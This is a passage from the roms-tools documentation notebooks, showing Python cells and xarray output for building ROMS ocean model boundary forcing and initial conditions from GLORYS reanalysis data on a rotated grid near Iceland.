for='index-aa5163f2-b81f-41e6-a667-ea4a58f39d7d' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([4383.5, 4384.5, 4385.5, 4386.5], dtype=&#x27;float64&#x27;, name=&#x27;bry_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-cc5cb7ff-6b85-49c5-a137-0cae0bbf5f8a' class='xr-section-summary-in' type='checkbox' checked><label for='section-cc5cb7ff-6b85-49c5-a137-0cae0bbf5f8a' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS boundary forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-02 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-01-04 00:00:00</dd><dt><span>source :</span></dt><dd>GLORYS</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 3MB\n", "Dimensions: (bry_time: 4, s_rho: 100, xi_rho: 102, xi_u: 101, eta_rho: 102,\n", " eta_v: 101)\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 32B 2012-01-01T12:00:00 ... 2012-01...\n", " * bry_time (bry_time) float64 32B 4.384e+03 4.384e+03 4.386e+03 4.386e+03\n", "Dimensions without coordinates: s_rho, xi_rho, xi_u, eta_rho, eta_v\n", "Data variables: (12/28)\n", " temp_south (bry_time, s_rho, xi_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " salt_south (bry_time, s_rho, xi_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " u_south (bry_time, s_rho, xi_u) float32 162kB dask.array<chunksize=(1, 100, 101), meta=np.ndarray>\n", " v_south (bry_time, s_rho, xi_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " zeta_south (bry_time, xi_rho) float32 2kB dask.array<chunksize=(1, 102), meta=np.ndarray>\n", " ubar_south (bry_time, xi_u) float32 2kB dask.array<chunksize=(1, 101), meta=np.ndarray>\n", " ... ...\n", " salt_west (bry_time, s_rho, eta_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " u_west (bry_time, s_rho, eta_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " v_west (bry_time, s_rho, eta_v) float32 162kB dask.array<chunksize=(1, 100, 101), meta=np.ndarray>\n", " zeta_west (bry_time, eta_rho) float32 2kB dask.array<chunksize=(1, 102), meta=np.ndarray>\n", " ubar_west (bry_time, eta_rho) float32 2kB dask.array<chunksize=(1, 102), meta=np.ndarray>\n", " vbar_west (bry_time, eta_v) float32 2kB dask.array<chunksize=(1, 101), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS boundary forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-02 00:00:00\n", " end_time: 2012-01-04 00:00:00\n", " source: GLORYS\n", " model_reference_date: 2000-01-01 00:00:00\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 25, "metadata": {}, "output_type": "execute_result" } ], "source": [ "the_same_boundary_forcing.ds" ] }, { "cell_type": "code", "execution_count": null, "id": "63530ac6-eca1-4cb5-829f-384f30b6d10e", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "romstools", "language": "python", "name": "romstools" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.12.7" } }, "nbformat": 4, "nbformat_minor": 5 }
1,594,416
Python
.py
16,908
86.44612
133,890
0.618576
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,734
initial_conditions.ipynb
CWorthy-ocean_roms-tools/docs/initial_conditions.ipynb
{ "cells": [ { "cell_type": "markdown", "id": "648a0bd8-6edb-4c9b-b703-af6c466c040b", "metadata": {}, "source": [ "# Creating the initial conditions" ] }, { "cell_type": "code", "execution_count": 1, "id": "c5f85425-c9bd-4665-8319-e985a91e4535", "metadata": { "tags": [] }, "outputs": [], "source": [ "from roms_tools import Grid, InitialConditions" ] }, { "cell_type": "markdown", "id": "3f881256-8f95-4fb1-9511-8a7dd773d420", "metadata": {}, "source": [ "We start by creating a grid. Note that it is important to use the same grid throughout all the steps (i.e., creating tidal forcing, atmospheric forcing, initial conditions, etc.) to set up a consistent ROMS simulation. Here, we use the following grid with the default parameters for the vertical coordinate system." ] }, { "cell_type": "code", "execution_count": 2, "id": "39f2a9c9-366c-4891-8ecf-1f6bbe30ff81", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid = Grid(\n", " nx=100, ny=100, size_x=1800, size_y=2400, center_lon=-21, center_lat=61, rot=20\n", ")" ] }, { "cell_type": "markdown", "id": "450f348d-64eb-42b4-bbaf-ce62609d46f8", "metadata": {}, "source": [ "Next, we specify the time that we want to make the initial conditions for." ] }, { "cell_type": "code", "execution_count": 3, "id": "0f4be9a3-4bc5-4059-a901-a8df9020bb37", "metadata": { "tags": [] }, "outputs": [], "source": [ "from datetime import datetime" ] }, { "cell_type": "code", "execution_count": 4, "id": "c8bb7a23-e74f-49e8-bad0-326f1cf99a69", "metadata": { "tags": [] }, "outputs": [], "source": [ "ini_time = datetime(2012, 1, 2)" ] }, { "cell_type": "markdown", "id": "00076322-2bfc-4c7f-bd28-72cd16420672", "metadata": {}, "source": [ "## Physical initial conditions from GLORYS\n", "In this section, we use GLORYS data to create our physical initial conditions, i.e., temperature, salinity, sea surface height, and velocities. (We will learn how to add biogeochemical initial conditions further down in the notebook.) The user is expected to have downloaded the GLORYS data spanning the desired ROMS domain and containing the desired `ini_time`. You can download the GLORYS data from https://www.mercator-ocean.eu/en/ocean-science/glorys/. Our downloaded data sits at the following location." ] }, { "cell_type": "code", "execution_count": 5, "id": "fc5cc9f7-e4b2-4317-a572-36d409e08f1e", "metadata": { "tags": [] }, "outputs": [], "source": [ "path = \"/global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120102.nc\"" ] }, { "cell_type": "markdown", "id": "2ed27d93-95aa-4c82-8688-ddcdb6c75825", "metadata": {}, "source": [ "Note that it would also be okay to provide a filename that contains data for more than just the day of interest. `ROMS-Tools` will pick out the correct day (and complain if the day of interest is not in the provided filename.) Or we can even use wildcards, such as `filename='/glade/derecho/scratch/bachman/GLORYS/NA/2012/*.nc'`. Note, however, that `ROMS-Tools` will operate more efficiently when the filename is as specific as possible." ] }, { "cell_type": "markdown", "id": "856e6621-9546-4fa2-8553-ee0477bb77ec", "metadata": {}, "source": [ "We can now create the `InitialConditions` object." ] }, { "cell_type": "code", "execution_count": 6, "id": "1123f767-03ee-4110-8609-8719423229b4", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Selected time entry closest to the specified start_time (2012-01-02 00:00:00) within the range [2012-01-02 00:00:00, 2012-01-03 00:00:00]: ['2012-01-02T12:00:00.000000000']\n", "CPU times: user 1min 49s, sys: 1.33 s, total: 1min 50s\n", "Wall time: 7.68 s\n" ] } ], "source": [ "%%time\n", "initial_conditions = InitialConditions(\n", " grid=grid,\n", " ini_time=ini_time,\n", " source={\"name\": \"GLORYS\", \"path\": path},\n", " model_reference_date=datetime(\n", " 2000, 1, 1\n", " ), # model reference date. Default is January 1, 2000,\n", " use_dask=True, # default is False\n", ")" ] }, { "cell_type": "markdown", "id": "50acd7b3-bb57-4d26-8138-640e4df98d8a", "metadata": {}, "source": [ "The initial conditions variables are held in an `xarray.Dataset` that is accessible via the `.ds` property." ] }, { "cell_type": "code", "execution_count": 7, "id": "d6c6c5f4-c77e-4666-b52d-3d71a6bdd748", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol 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grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 21MB\n", "Dimensions: (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102,\n", " xi_u: 101, eta_v: 101, s_w: 101)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho, xi_u, eta_v, s_w\n", "Data variables:\n", " temp (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " salt (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;\n", " u (ocean_time, s_rho, eta_rho, xi_u) float32 4MB dask.array&lt;chunksize=(1, 100, 102, 101), meta=np.ndarray&gt;\n", " v (ocean_time, s_rho, eta_v, xi_rho) float32 4MB dask.array&lt;chunksize=(1, 100, 101, 102), meta=np.ndarray&gt;\n", " zeta (ocean_time, eta_rho, xi_rho) float32 42kB -0.4969 ... -0.9301\n", " ubar (ocean_time, eta_rho, xi_u) float32 41kB dask.array&lt;chunksize=(1, 102, 101), meta=np.ndarray&gt;\n", " vbar (ocean_time, eta_v, xi_rho) float32 41kB dask.array&lt;chunksize=(1, 101, 102), meta=np.ndarray&gt;\n", " w (ocean_time, s_w, eta_rho, xi_rho) float32 4MB 0.0 0.0 ... 0.0\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -8.89e-05 -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 -0.9667 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS initial conditions file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " ini_time: 2012-01-02 00:00:00\n", " model_reference_date: 2000-01-01 00:00:00\n", " source: GLORYS\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-b6d9bf2f-99c9-46aa-bbba-a8303204710d' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-b6d9bf2f-99c9-46aa-bbba-a8303204710d' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>ocean_time</span>: 1</li><li><span>s_rho</span>: 100</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li><li><span>s_w</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-339a8f2e-eab6-4d60-ad0c-9dea394246a8' class='xr-section-summary-in' type='checkbox' checked><label for='section-339a8f2e-eab6-4d60-ad0c-9dea394246a8' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-02T12:00:00</div><input id='attrs-48912ebe-b16f-4e68-9425-b35453273a31' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-48912ebe-b16f-4e68-9425-b35453273a31' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-df053985-7d50-499d-92ac-174c93c88472' class='xr-var-data-in' type='checkbox'><label for='data-df053985-7d50-499d-92ac-174c93c88472' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-02T12:00:00.000000000&#x27;], dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>ocean_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>3.788e+08</div><input id='attrs-b14142f8-92d7-46c7-97d6-0081ddea7b7a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b14142f8-92d7-46c7-97d6-0081ddea7b7a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1c140366-fb32-4d47-8445-49ae1908c629' class='xr-var-data-in' type='checkbox'><label for='data-1c140366-fb32-4d47-8445-49ae1908c629' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>seconds since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>seconds</dd></dl></div><div class='xr-var-data'><pre>array([3.788208e+08])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-f91464fc-2ea1-4015-a7d4-d5ff99996f90' class='xr-section-summary-in' type='checkbox' checked><label for='section-f91464fc-2ea1-4015-a7d4-d5ff99996f90' class='xr-section-summary' >Data variables: <span>(10)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>temp</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-c068c828-e360-4dcd-855a-5f9241ab8e2b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c068c828-e360-4dcd-855a-5f9241ab8e2b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f0e8c963-7825-44d0-adbe-b0ed640a7ea0' class='xr-var-data-in' type='checkbox'><label for='data-f0e8c963-7825-44d0-adbe-b0ed640a7ea0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" 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title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", 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class='xr-var-data-in' type='checkbox'><label for='data-45fa064b-fee7-4820-8ccd-aa217e3799a9' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.93 MiB </td>\n", " <td> 3.93 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 101) </td>\n", " <td> (1, 100, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 106 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"428\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" 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class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c50408cc-8b9e-49c0-8a29-caf5156d227c' class='xr-var-data-in' type='checkbox'><label for='data-c50408cc-8b9e-49c0-8a29-caf5156d227c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.93 MiB </td>\n", " <td> 3.93 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 101, 102) </td>\n", " <td> (1, 100, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 106 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"238\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" 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type='checkbox' ><label for='attrs-1189d501-4c1f-425a-9b76-c304f3eb945c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3e6a6e25-3a45-4610-a07e-696452bee15b' class='xr-var-data-in' type='checkbox'><label for='data-3e6a6e25-3a45-4610-a07e-696452bee15b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[-0.4968735 , -0.48102024, -0.45140022, ..., -0.21179885,\n", " -0.2323978 , -0.27174047],\n", " [-0.50208086, -0.48845944, -0.4642659 , ..., -0.22339629,\n", " -0.24253824, -0.2753201 ],\n", " [-0.4770668 , -0.4681472 , -0.45971772, ..., -0.22425258,\n", " -0.24323115, -0.27386117],\n", " ...,\n", " [-0.67065454, -0.667637 , -0.66417253, ..., -0.91281706,\n", " -0.9186981 , -0.9199093 ],\n", " [-0.6729749 , -0.67039496, -0.66740495, ..., -0.9283859 ,\n", " -0.9280182 , -0.9256133 ],\n", " [-0.6754947 , -0.6731931 , -0.6705358 , ..., -0.92978585,\n", " -0.9299173 , -0.93009895]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ubar</span></div><div class='xr-var-dims'>(ocean_time, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 101), meta=np.ndarray&gt;</div><input id='attrs-20847017-6b18-4e48-9eea-050c6dd3b23c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-20847017-6b18-4e48-9eea-050c6dd3b23c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-08928168-91e7-4e95-a12b-27bef2935f4c' class='xr-var-data-in' type='checkbox'><label for='data-08928168-91e7-4e95-a12b-27bef2935f4c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 40.24 kiB </td>\n", " <td> 40.24 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 102, 101) </td>\n", " <td> (1, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 116 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg 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y=\"154.948598\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >101</text>\n", " <text x=\"163.772127\" y=\"74.948598\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,163.772127,74.948598)\">102</text>\n", " <text x=\"7.474299\" y=\"147.474299\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,7.474299,147.474299)\">1</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vbar</span></div><div class='xr-var-dims'>(ocean_time, eta_v, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 101, 102), meta=np.ndarray&gt;</div><input id='attrs-bc6192fa-4808-424c-99cc-4321df300df3' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-bc6192fa-4808-424c-99cc-4321df300df3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-29bc7240-a85e-407b-979c-e771cd064270' class='xr-var-data-in' type='checkbox'><label for='data-29bc7240-a85e-407b-979c-e771cd064270' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 40.24 kiB </td>\n", " <td> 40.24 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 101, 102) </td>\n", " <td> (1, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 116 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"194\" height=\"183\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"24\" y2=\"14\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"118\" x2=\"24\" y2=\"133\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"118\" style=\"stroke-width:2\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"133\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 24.9485979497544,14.948597949754403 24.9485979497544,133.77212736151913 10.0,118.82352941176471\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" 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points=\"24.9485979497544,14.948597949754403 144.9485979497544,14.948597949754403 144.9485979497544,133.77212736151913 24.9485979497544,133.77212736151913\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"84.948598\" y=\"153.772127\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 